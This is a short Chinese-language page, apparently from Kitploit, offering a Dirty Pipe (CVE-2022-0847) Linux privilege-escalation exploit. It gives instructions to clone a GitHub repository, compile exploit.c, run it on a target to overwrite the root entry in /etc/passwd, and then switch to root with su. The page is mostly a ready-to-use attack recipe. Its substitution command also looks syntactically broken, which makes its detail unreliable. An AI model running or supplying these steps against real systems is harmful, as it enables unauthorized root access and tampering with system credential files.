dirty-pipe — Max Kellermann 的 CVE-2022-0847 漏洞利用实现 | Kitploit

脏管道 - CVE-2022-0847

这是 Max Kellermann 针对 CVE-2022-0847（即 Dirty Pipe）利用漏洞的代码和使用说明。

请访问 https://dirtypipe.cm4all.com/ 了解更多关于该漏洞的工作原理！

如何使用

下载并编译漏洞利用二进制文件

git clone https://github.com/0xIronGoat/dirty-pipe.git
cd dirty-pipe
gcc exploit.c -o exploit

在目标上运行该二进制文件

./exploit /etc/passwd 1 "${$(cat /etc/passwd)/root:x/oot:}"

切换到 root 用户

su

dirtypipe